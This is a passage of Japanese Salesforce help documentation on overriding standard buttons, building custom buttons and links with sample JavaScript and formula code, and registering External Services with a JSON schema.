クアップの standardController="Account" タグに属性 <apex:page> が含まれている必要がありま
す。
<apex:page standardController="Account">

... page content here ...

</apex:page>

Visualforce ページでタブを上書きするときには、そのタブに標準リストコントローラを使用する Visualforce

ページ、カスタムコントローラのあるページ、またはコントローラのないページのみを選択できます。
Visualforceページでリストを上書きするときには、標準リストコントローラを使用するVisualforceページのみ
を選択できます。
Visualforce ページで [新規] ボタンを上書きする場合、[レコードタイプの選択] ページを省略することもでき
ます。このオプションを選択すると、新しいレコードを作成しても [レコードタイプの選択] ページに転送
されません。Visualforce ページがすでにレコードタイプを処理していると想定されます。

5. 必要に応じて、この変更の理由をコメントとして入力します。
6. [保存] をクリックします。

メモ: Visualforce ページで上書きされる標準ボタン ([新規]、[編集]、[表示]、[削除]、[コピー]) は、Salesforce

モバイルアプリケーションでVisualforceページを有効にしていない場合はSalesforce1には表示されません。
標準のリストおよびタブコントロールの上書きは Salesforce1 ではサポートされていません。

標準ボタンとタブのホームページの上書きの削除

関連トピック:

標準ボタンとタブのホームページの上書きの削除
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標準ボタンとタブのホームページの上書きの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Visualforceの上書きも使用
可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

標準ボタンとタブのホー
ムページを上書きする
• 「アプリケーションの

カスタマイズ」

ボタンとタブのホーム
ページの上書きをリセッ
トする
• 「アプリケーションの

カスタマイズ」

1. ボタンを編集するオブジェクトの管理設定から、[ボタン、リンク、およびア
クション] に移動します。

2. 上書きボタンまたはタブリンクの横にある [編集] をクリックします。
3. [上書きなし (デフォルトの動作)] を選択します。
4. [OK] をクリックします。
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カスタムボタンとカスタムリンクの例

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce のカスタムボタンとカスタムリンクの例を使用して、それらが役に立
つかどうかを判断します。

カスタムリンクの例: ドキュメントへのリンク
カスタムリンクを使用してSalesforceのレコード詳細ページからドキュメント
を参照します。
カスタムリンクの例: Chatter のファイルへのリンク
カスタムリンクを使用して Chatter からファイルを参照します。
カスタムリンクの例: レポートへのリンク
カスタムリンクを使用してSalesforceのレコード詳細ページから結果を絞り込
んだレポートを実行します。たとえば、取引先に関連付けられた取引先責任
者のメーリングリストレポートを頻繁に実行するとします。参照する取引先
に自動的に絞り込んだレポートへ直接リンクする取引先のカスタムリンクを
作成できます。この場合、カスタムリンクは取引先の一意のレコード ID をレ
ポートに渡す必要があります。
アラートの表示
次の例では、ユーザの名前を含むお知らせメッセージが記載されたポップ
アップダイアログを開くボタンが作成されます。
レコード ID の取得
次の例では、ユーザが選択したレコードのレコード ID が一覧表示されるポッ
プアップウィンドウを開くボタンが作成されます。これは、処理を進める前
に、確実に正しいレコード ID を持っているかをテストするときに便利です。
一括削除を実行するためのカスタムボタンの作成
この例では、活動関連リストとリストビューに追加できるボタンを作成し、
選択したレコードをユーザが同時に削除できるようにします。
外部システムへのレコード ID の受け渡し
外部システムと統合するための固有 ID として Salesforceレコード ID を使用できます。次の例では、Visualforce

ページをコールして、選択されたレコードのレコード ID を判別し、それらを URL クエリパラメータで
「www.yourwebsitehere.com」という外部 Web ページに渡すボタンを作成します。
ケースの再オープン
次のサンプルでは、ユーザが商談に関する複数のケースを同時に再開できるように、ケース関連リストに
追加できるボタンが作成されます。
インターナショナルマップ
この例では、国固有の Google マップを表示するリンクを作成します。

関連トピック:

カスタムボタンとカスタムリンクの定義
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カスタムリンクの例: ドキュメントへのリンク

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

カスタムリンクを使用して Salesforce のレコード詳細ページからドキュメントを
参照します。
1. [ドキュメント] タブにすべてのユーザがアクセスするフォルダを作成します。
2. ドキュメントをそのフォルダにアップロードします。
3. [ドキュメント] タブからフォルダを選択し、[移動] をクリックします。
4. ドキュメントの横にある [表示] をクリックします。
5. ブラウザからドキュメントの URL をコピーします。たとえば、

「https://na1.salesforce.com/servlet/servlet.FileDownload?file=015300000000xvU」など
です。

6. URL のドメイン部分より後の部分をすべて使用してカスタムリンクを作成します。前の手順の例を使用する
と、このリンクでは /servlet/servlet.FileDownload?file=015300000000xvU を指します。

関連トピック:

効果的なカスタムリンクの作成
カスタムリンクの例: Chatter のファイルへのリンク
カスタムリンクの例: レポートへのリンク
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カスタムリンクの例: Chatter のファイルへのリンク

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

カスタムリンクを使用して Chatter からファイルを参照します。
1. [ファイル] タブへファイルをアップロードします。
2. アップロードが終了したら、[アップロード] ダイアログボックスから[共有設

定] をクリックします。
3. [リンクを持つユーザ] をクリックします。
4. [リンクを使用した共有] ダイアログボックスからドキュメントの URL をコピー

します。たとえば、

「https://na1.salesforce.com/sfc/p/D0000000JsES/a/D000000001dd/aiq8UPJ5q5i6Fs4Sz.IQLKUERsWYdbAm320cjqWnkfk=」
などです。

5. URL のドメイン部分より後の部分をすべて使用してカスタムリンクを作成します。前の手順の例を使用する
と、このリンクでは
/sfc/p/D0000000JsES/a/D000000001dd/aiq8UPJ5q5i6Fs4Sz.IQLKUERsWYdbAm320cjqWnkfk=を指
します。

関連トピック:

効果的なカスタムリンクの作成
カスタムリンクの例: ドキュメントへのリンク
カスタムリンクの例: レポートへのリンク
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カスタムリンクの例: レポートへのリンク

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

カスタムリンクを使用して Salesforce のレコード詳細ページから結果を絞り込ん
だレポートを実行します。たとえば、取引先に関連付けられた取引先責任者の
メーリングリストレポートを頻繁に実行するとします。参照する取引先に自動
的に絞り込んだレポートへ直接リンクする取引先のカスタムリンクを作成でき
ます。この場合、カスタムリンクは取引先の一意のレコード ID をレポートに渡
す必要があります。
1. レポートを絞り込むレコードタイプ (この例では取引先) の ID をコピーしま

す。これを実行するには、レコードを表示し、URL の最後の 15 文字の ID をコ
ピーします。たとえば、
「https://na1.salesforce.com/001200030012j3J」などです。

2. [レポート] タブから標準レポートをカスタマイズするか、カスタムレポート
を作成して必要なレポートを作成します。

3. コピーしたレコード ID でレポートを絞り込みます。たとえば、「Account ID

equals 001200030012j3J」で絞り込みます。
4. レポートを実行し、必要なデータが含まれていることを確認します。
5. [カスタマイズ] をクリックします。
6. [保存] または [別名で保存] をクリックし、適切なユーザがアクセスできる公

開フォルダにレポートを保存します。[別名で保存] はカスタムレポートを作
成しますが、[保存] は作成しません。

7. レポートを実行し、レポートの URL をブラウザからコピーします。
8. カスタムリンクの作成を開始します。[内容のソース]項目を URL に設定しま

す。広い数式テキストエリアにコピーしたレポートの URL を貼り付けます。
ドメイン部分 https://na1.salesforce.com は削除してください。

9. カスタムリンクを該当するページレイアウトに追加します。
10. 新しいカスタムリンクが正常に機能するか確認します。

ヒント: カスタムリンクで使用するレポートを作成する場合、日付範囲やレポートオプションは汎用的な
ものに設定し、複数のユーザに役立つデータがレポート結果に含まれるようにします。たとえば、レコー
ドの「作成日」を使用して日付範囲を設定する場合、関連レコードを除外しないような過去の開始日を
設定し、終了日は空白のままにします。レポートの範囲を「自分の」レコードに限定すると、そのレポー
トにはユーザが参照できるレコードの一部のみが含まれる可能性があります。レポートオプションを、
レコードを [すべて表示] に設定することをお勧めします。

関連トピック:

効果的なカスタムリンクの作成
カスタムリンクの例: ドキュメントへのリンク
カスタムリンクの例: Chatter のファイルへのリンク
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アラートの表示

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

次の例では、ユーザの名前を含むお知らせメッセージが記載されたポップアッ
プダイアログを開くボタンが作成されます。
1. 次の属性を使用して、ボタンを定義します。

• 表示の種類  - 詳細ページボタン
• 動作  - JavaScript の実行
• 内容のソース  - OnClick JavaScript

• 次のサンプルコードを使用します。

alert ("Hello {!$User.FirstName}");

2. 該当するページレイアウトにボタンを追加します。

関連トピック:

カスタムボタンとカスタムリンクの例
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レコード ID の取得

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

次の例では、ユーザが選択したレコードのレコード ID が一覧表示されるポップ
アップウィンドウを開くボタンが作成されます。これは、処理を進める前に、
確実に正しいレコード ID を持っているかをテストするときに便利です。
1. 次の属性を使用して、ボタンを定義します。

• 表示の種類  - リストボタン

メモ: [チェックボックスの表示 (複数レコード選択用)] を選択する
と、ユーザはボタンをクリックする前に、リストで複数のレコード
を選択できます。

• 動作  - JavaScript の実行
• 内容のソース  - OnClick JavaScript

• 次のサンプルコードを使用します。

idArray = {!GETRECORDIDS($ObjectType.Contact)};
alert("The Ids you have selected are: "+idArray);

メモ: この例は取引先責任者用のものです。別のタイプのレコードの場合は、オブジェクト種別を
変更してください。

2. ページレイアウトまたはリストビューレイアウトの該当する関連リストにボタンを追加します。

関連トピック:

カスタムボタンとカスタムリンクの例
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一括削除を実行するためのカスタムボタンの作成

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

この例では、活動関連リストとリストビューに追加できるボタンを作成し、選
択したレコードをユーザが同時に削除できるようにします。
1. 次の属性を使用して、行動用のボタンを定義します。

• 表示の種類  - リストボタン

メモ: [チェックボックスの表示 (複数レコード選択用)] を選択する
と、ユーザはボタンをクリックする前に、リストで複数のレコード
を選択できます。

• 動作  - JavaScript の実行
• 内容のソース  - OnClick JavaScript

• 次のサンプルコードを使用します。

{!REQUIRESCRIPT("/soap/ajax/9.0/connection.js")}

var records = {!GETRECORDIDS( $ObjectType.Event )};
var taskRecords = {!GETRECORDIDS( $ObjectType.Task)};
records = records.concat(taskRecords);

if (records[0] == null) {
alert("Please select at least one record.") }
else {

var errors = [];
var result = sforce.connection.deleteIds(records);
if (result && result.length){
var numFailed = 0;
var numSucceeded = 0;
for (var i = 0; i < result.length; i++){
var res = result[i];
if (res && res.success == 'true'){
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numSucceeded++;
} else {
var es = res.getArray("errors");
if (es.length > 0) {
errors.push(es[0].message);
}
numFailed++;
}
}
if (numFailed > 0){
alert("Failed: " + numFailed + "\nSucceeded: " + numSucceeded + " \n Due to: " +
errors.join("\n"));
} else {
alert("Number of records deleted: " + numSucceeded);
}
}
window.location.reload();
}

2. 活動リストビューにボタンを追加します。
3. 活動関連リストを含むページレイアウトにボタンを追加します。このボタンを使用すると、リスト内で選

択した ToDo または行動がすべて削除されます。
カスタムボタンは、http://sites.force.com/appexchangeで、一括削除アプリケーションからインストールできます。

関連トピック:

カスタムボタンとカスタムリンクの例
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外部システムへのレコード ID の受け渡し

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

外部システムと統合するための固有 ID として Salesforce レコード ID を使用できま
す。次の例では、Visualforce ページをコールして、選択されたレコードのレコー
ド ID を判別し、それらを URL クエリパラメータで
「www.yourwebsitehere.com」という外部 Web ページに渡すボタンを作成し
ます。
1. GETRECORDIDS関数を使用するVisualforceページを作成して、選択されたレコー

ドのリストを取得します。

<script type="text/javascript">

idArray = {!GETRECORDIDS($ObjectType.Account)};

window.location.href="http://www.yourwebsitehere.com?array="+idArray;

</script>

メモ: www.yourwebsitehere.com を、使用する URL に置き換えます。

2. 次の属性を使用して、取引先のボタンを定義します。
• 表示の種類  - リストボタン

メモ: [チェックボックスの表示 (複数レコード選択用)] を選択すると、ユーザはボタンをクリック
する前に、リストで複数のレコードを選択できます。

• 動作  - サイドバーを持つ既存のウィンドウで表示
• 内容のソース  - Visualforce ページ

6342

アクション、ボタン、およびリンクの提供コードではなくてクリックによる Salesforce の拡張



• 最初の手順で作成した Visualforce ページを選択します。

3. 該当するページレイアウトまたはリストビューレイアウトにボタンを追加します。

関連トピック:

カスタムボタンとカスタムリンクの例

ケースの再オープン

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

次のサンプルでは、ユーザが商談に関する複数のケースを同時に再開できるよ
うに、ケース関連リストに追加できるボタンが作成されます。
1. 次の属性を使用して、ケースのボタンを定義します。

• 表示の種類  - リストボタン

メモ: [チェックボックスの表示 (複数レコード選択用)] を選択する
と、ユーザはボタンをクリックする前に、リストで複数のレコード
を選択できます。

• 動作  - JavaScript の実行
• 内容のソース  - OnClick JavaScript

• 次のサンプルコードを使用します。

{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")} var records =
{!GETRECORDIDS($ObjectType.Sample)}; var newRecords = []; if

(records[0] == null) { alert("Please select at least one row") } else {
for (var n=0; n<records.length; n++) { var c = new

sforce.SObject("Case"); c.id = records[n]; c.Status = "New";
newRecords.push(c); } result = sforce.connection.update(newRecords);

window.location.reload(); }

メモ: このサンプルは AJAX Toolkit を参照しています。これは、API アクセスが有効な場合に使用でき
ます。https://developer.salesforce.com/page/Integrationを参照してください。
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2. ケース関連リストを編集して、商談ページレイアウトにボタンを追加します。

ヒント: 取引先または取引先責任者のページレイアウトなど、ケース関連リストを含むページレイア
ウトでこのボタンを使用します。

メモ: ユーザがリストから何も選択しなかった場合にメッセージを表示する records[0] == null の設
定を確認してください。

関連トピック:

カスタムボタンとカスタムリンクの例

インターナショナルマップ

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

この例では、国固有の Google マップを表示するリンクを作成します。
1. 次の属性を使用して、取引先のリンクを定義します。

• 表示の種類  - 詳細ページリンク
• 動作  - 新しいウィンドウで表示
• 内容のソース  - URL

• 次のサンプルコードを使用します。

{!
IF(Sample.BillingCountry = "US",
"http://maps.google.com/maps?q="&Sample.BillingStreet&
"+"&Sample.BillingCity&"+"&Sample.BillingState&"+"&Sample.BillingCountry,
(IF(Sample.BillingCountry = "UK",
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"http://maps.google.co.uk/maps?q="&Sample.BillingStreet
&"+"&Sample.BillingCity&"+"&Sample.BillingCountry,
"http://maps.google.com")))
}

2. 取引先ページレイアウトにリンクを追加します。

関連トピック:

カスタムボタンとカスタムリンクの例

カスタムボタンとカスタムリンクの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforce ページと Sコン
トロールを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

カスタムボタンとカスタムリンクを操作するときは、次の考慮事項に留意して
ください。

実装のヒント
• カスタムボタンは、詳細ページの上部と下部で、すべての標準ボタンの右側

に表示されます。
• カスタムボタンは、視覚的には標準ボタンと区別されません。ただし、すべ

ての標準ボタンの右側にあることから、カスタムボタンと判別できます。
• 詳細ページレイアウトでボタンバーの幅が大きくなり過ぎた場合は、水平ス

クロールバーが表示されます。リストビュー、検索結果、タギング結果、ま
たは関連リストレイアウトでボタンバーの幅が大きくなり過ぎた場合は、ボ
タンがをラップされます。

• カスタムボタンは、ToDo および行動の個々の設定リンクでの活動で使用でき
ます。活動リストビューまたは検索レイアウトにカスタムボタンを追加する
には、まず ToDo または行動でカスタムリストボタンを作成します。次に、
カスタムリストを活動リストビューまたは検索結果レイアウトに追加しま
す。ToDo と行動の両方に適用されるボタンを上書きできます。

• 個人取引先レコードでは、取引先用に作成されたカスタムボタンとカスタム
リンクが使用されます。

• 組織で [コンソール] タブを使用している場合は、[一括アクション]でリスト
ボタンを使用できます。リストボタンは、ミニページレイアウトには表示さ
れません。カスタムボタンとカスタムリンクによって表示されるページは、
ヘッダーやサイドバーなしでコンソールに表示されます。

• リストに表示されるボタンを上書きするときにエラーメッセージが表示され
る場合は、URLFOR 関数を使用して Sコントロールをコールしてください。

• カスタムボタンを作成する場合は、そのオブジェクトのレコードに対して組
織にある入力規則に注意してください。たとえば、ケース状況を変更するカスタムリストボタンが、ケー
スの入力規則と競合することがあります。この場合、ユーザがカスタムボタンをクリックすると、入力規
則のエラーメッセージが表示されます。
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• 標準ボタンをカスタムボタンに置き換えるには、カスタムボタンを定義してから、ページレイアウトをカ
スタマイズして標準ボタンを非表示にし、代わりにカスタムボタンを表示します。

• ホームページのカスタムリンクとして使用する Visualforce ページでは、コントローラを指定できません。
• 詳細ページ上のカスタムボタンまたはカスタムリンクとして使用するVisualforceページでは、同じオブジェ

クトの標準コントローラを指定する必要があります。
• カスタムリストボタンとして使用するVisualforceページでは、同じオブジェクトの標準リストコントローラ

を使用する必要があります。

ベストプラクティス
• カスタムボタンで数式関数を使用する場合は、注意が必要です。関数は、HTML または JavaScript がブラウザ

に渡される前にサーバで実行されるため、その時点で存在する情報しか評価できません。コードから返さ
れる JavaScript 変数の値など、コードがブラウザに到達した時点でのみ存在する条件を評価するために IF の
ような関数を使用しないでください。

• 作成や編集などの特定のアクションをユーザが実行できないようにするには、標準ボタンを非表示にする
のではなく、ユーザ権限を変更します。標準ボタンを非表示にすると、ページレイアウトからは削除され
ますが、引き続き使用可能で、ユーザは新規ページまたは編集ページに手動で移動できます。

• 事後操作をサポートしない URL にリンクするリストボタンには、[チェックボックスの表示 (複数レコード
選択用)] を選択しないでください。リスト内の少なくとも 1 つのリストボタンに対して [チェックボック
スの表示 (複数レコード選択用)] を選択すると、リストのレコードの横にチェックボックスが表示されま
す。ただし、このリストで選択されたレコードは、このオプションが選択されていないカスタムリストボ
タンをクリックしても影響を受けません。

制限事項
• カスタムリンクの表示ラベルは 1,024 文字以内にする必要があります。
• リンク URL は、最大 2,048 バイトです。データが URL のトークンと入れ替えられる場合、リンクが 3,000 バイ

トを超える可能性があります。ブラウザによっては、URL の最大長に制限があります。
• JavaScript をコールするカスタムボタンは、Lightning Experience ではサポートされていません。
• コンテンツソースが OnClick JavaScript であるカスタムボタンは、Salesforce1 モバイルアプリケーションでサ

ポートされません。
• Salesforce Classic で URL カスタムボタンを使用してパラメータを標準ページに渡している場合 (レコードの作

成時に項目に事前入力する場合など)、Salesforce1 や Lightning Experience ではこの動作は機能しません。
• 大量データの外部データソースに関連付けられた外部オブジェクトのレコード詳細ページでは、JavaScript

を呼び出すカスタムボタンとカスタムリンクがサポートされません。
• カスタムボタンは、Web-to-リード、Web-to-ケース、[ケースチーム] 関連リスト、ユーザオブジェクトでは

使用できません。

関連トピック:

カスタムボタンとカスタムリンクの定義
カスタムボタンとカスタムリンクの例
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Salesforce コンポーネントへの参照の表示

エディション

使用可能なエディション:
Salesforce Classic

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Visualforceページとカスタ
ムコンポーネントを使用
可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition

ユーザ権限

カスタムボタンまたはカ
スタムリンクを作成また
は変更する
• 「アプリケーションの

カスタマイズ」

Visualforceページおよびカ
スタムコンポーネントを
作成、編集、および削除
する
• 「アプリケーションの

カスタマイズ」

静的リソースをコピー、
編集、または削除する
• 「アプリケーションの

カスタマイズ」

コンポーネントを参照するSalesforce内のすべてのエリアの一覧を表示できます。
たとえば、Visualforce ページや静的リソースなどの別のコンポーネントを参照す
るカスタムリンク、カスタムボタン、またはページレイアウトを表示します。
そのためには、コンポーネントの詳細ページから、[使用場所] をクリックしま
す。そのコンポーネントを参照するコンポーネントの種類と、そのコンポーネ
ントの表示ラベルが一覧で表示されます。リスト内の任意の項目をクリックす
ると、その項目が直接表示されます。

関連トピック:

カスタムボタンとカスタムリンクの定義
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外部サービス (ベータ)

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

選択したサービスに接続したり、外部ソースに基づくメソッドをフローによっ
て起動したり、サービスから Salesforce にデータをインポートしたりするには、
外部サービスを使用しますが、これらはすべて、簡単に使用できるウィザード
によって行うことができます。

メモ: 今回のリリースには、ベータバージョンの外部サービスが含まれて
います。機能の品質は高いですが、既知の制限があります。外部サービス
は、Salesforce がドキュメント、プレスリリース、または公式声明で正式リ
リースを発表しない限り、正式リリースされません。特定期間内の正規リ
リースあるいはリリースの有無は保証できません。現在正式にリリースさ
れている製品および機能に基づいて購入をご決定ください。外部サービス
に関するフィードバックや提案は、Success コミュニティの IdeaExchange App

Cloud (Platform) の Integration グループに投稿してください。

Salesforce アカウントの信用度を判断する信用度サービスに接続するとします。また、支払条件についても知り
たいと考えています。外部サービスウィザードを使用して、次の作業を行います。

指定ログイン情報、URL、および認証設定を指定する。Salesforceでは、この項目を使用して外部サービスへ
のコールアウトを実行します。

スキーマの URL パス (エンドポイント) または完全なスキーマを入力する。

Salesforce のポイント & クリック自動化ツールを使用して、外部サービスの登録で生成された Apexクラスに
基づいてフローを作成します。
フローを実行すると、出力に信用度の判断と支払条件 (該当する場合) が表示されます。
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また、別の使用事例として、新しいユーザを組織に追加するときに時間の節約ができます。たとえば、新しい
ユーザを自動的にすべての外部組織関連アプリケーションのコラボレータにします。ユーザ ID などの入力を
使用してフローを作成しますが、これはスキーマで定義できます。次に、トリガをフローに追加します。ユー
ザを作成すると、トリガが起動されて、新しいユーザはコラボレータとして別のアプリケーションに追加され
ます。
ウィザードによってこれを実行できるため、API を直接扱うことはありません。Apex 接続クラスの作成は省略
でき、コーディングは関連しません。

外部サービススキーマ
外部サービスを登録して使用する前に、スキーマを指定します。登録済み外部サービスはスキーマを使用
して、フローによって使用されるサービスとメソッドについて説明します。スキーマは、フロー入力と戻
り値に対応する呼び出し可能変数を使用して、Apex アクションを生成します。
外部サービスの登録
外部サービスの登録では、数ステップしか実行する必要がなく、コードを作成する必要はありません。
外部サービスのフローの作成
Salesforce 以外のサービスのデータを使用して、反復可能な Salesforce アクションをフローで実行します。コー
ドを記述することなくフローを作成し、登録済み外部サービススキーマから生成されるアクションをトリ
ガできます。

外部サービススキーマ

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

外部サービスを登録して使用する前に、スキーマを指定します。登録済み外部
サービスはスキーマを使用して、フローによって使用されるサービスとメソッ
ドについて説明します。スキーマは、フロー入力と戻り値に対応する呼び出し
可能変数を使用して、Apex アクションを生成します。
外部サービスでは、JSON を利用する Interagent ハイパースキーマがサポートされ
ます。たとえば、クレジットアプリケーションの JSON スキーマの一部に次の情
報が含まれるとします。信用度の判断は、指定された accountIdなど、いくつ
かの要因に基づいて行われます。
スキーマの最初の部分には、入出力のタイプごとの定義が含まれます。信用度
を判断するため、Evaluate と呼ばれる POST メソッドも含まれます (太字で表示)。
このメソッドは、入力として orderId、orderAmount、accountId、creditRating を取ります。
{

"$schema":"http://interagent.github.io/interagent-hyper-schema",
"title":"CreditService",
"description":"A service for checking credit for an account.",
"properties":{

"creditDecision":{
"$ref":"#/definitions/creditDecision"

}
},
"definitions":{

"creditDecision":{
"title":"Credit Decision",
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"description":"Specifies payment terms offered, based on credit rating.",
"type":[

"object"
],
"properties":{

"orderId":{
"$ref":"#/definitions/creditDecision/definitions/orderId"

},
"orderAmount":{

"$ref":"#/definitions/creditDecision/definitions/orderAmount"
},
"accountId":{

"$ref":"#/definitions/creditDecision/definitions/accountId"
},
"creditRating":{

"$ref":"#/definitions/creditDecision/definitions/creditRating"
},
"paymentTerm":{

"$ref":"#/definitions/creditDecision/definitions/paymentTerm"
},
"decidedOnDate":{

"$ref":"#/definitions/creditDecision/definitions/decidedOnDate"
}

},
....

“orderId”:{
"description": "The unique identifier of the order.",
"example": "801000000000A01",
"type": [
"string"
]
},
"orderAmount":{

"description":"Total value of the order.",
"example":99999.99,
"type":[
"number"
]

},
"accountId":{

"description":"The unique identifier of the account.",
"example":"001000000000B01",
"type":[

"string"
]

},
"creditRating":{

"description": "The customer's current credit rating.",
"example: "good",
"type": [
"string"
]

},
"paymentTerm":{
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"description":"The payment terms offered (in days) when decision was made.",

"example":"30 Days",
"type":[
"string"
]

},
"decidedOnDate":{

"description":"The date and time the decision was made.",
"example":"2015-04-01T12:00:00Z",
"format":"date-time",
"type":[
"string"
]

}
},

....
"title": "Evaluate",
"description": "Evaluates credit rating and decides what payment terms to offer.",

"href": "/decision",
"method": "POST",
"schema": {
"type": [
"object"

],
"properties": {
"orderId": {
"$ref": "#/definitions/creditDecision/definitions/orderId"

},
"orderAmount": {
"$ref": "#/definitions/creditDecision/definitions/orderAmount"

},
"accountId": {
"$ref": "#/definitions/creditDecision/definitions/accountId"

},
"creditRating": {
"$ref": "#/definitions/creditDecision/definitions/creditRating"

}
},
"required": [
"orderId",
“orderAmount",
"accountId",
"creditRating"

]
},

....

POST メソッド (およびその他のスキーマメソッド) は、フローで作成するアクションの入力および出力を変換し
ます。
すでに登録したサービスを検索するには、[設定] のインテグレーションページに移動します。
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スキーマで定義したサービスに使用できるアクションを表示することもできます。サービスの [アクション] 列
の矢印をクリックし、[アクションを表示] を選択します。
次の情報が表示されます。
• アクション名: フローが実行されたときに Salesforce が取るアクション。
• アクションの説明: アクションの機能の説明。
• 入力パラメータ: メソッドがアクションを実行する項目名、説明、タイプ。これらのパラメータはフローの

入力です。
• 出力パラメータ。アクションが返す項目名、説明、タイプ。これらのパラメータはフローの出力です。
サービスでは、次のタイプを入出力として使用できます。

表 78 : 使用できる入力および出力
doubleプリミティブ (整数、倍精度浮動小数、文字列、ブー

ル、日時、日付) の配列
integerオブジェクトの配列
objectboolean

Stringdatetime

関連トピック:

外部サービスの登録
外部サービス (ベータ)

外部サービスの登録

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

接続を管理する
• 「アプリケーションの

カスタマイズ」

外部サービスの登録では、数ステップしか実行する必要がなく、コードを作成
する必要はありません。

重要: 外部サービスを管理パッケージからインストールした場合、非公開
アクションは同じパッケージの管理フローのみで使用でき、Flow Designer に
表示されません。

• 指定ログイン情報を設定します。指定ログイン情報では、コールアウトエン
ドポイント (アクセスするサービス) の URL と認証パラメータを指定します。
たとえば、https://my_endpoint.example.com です。

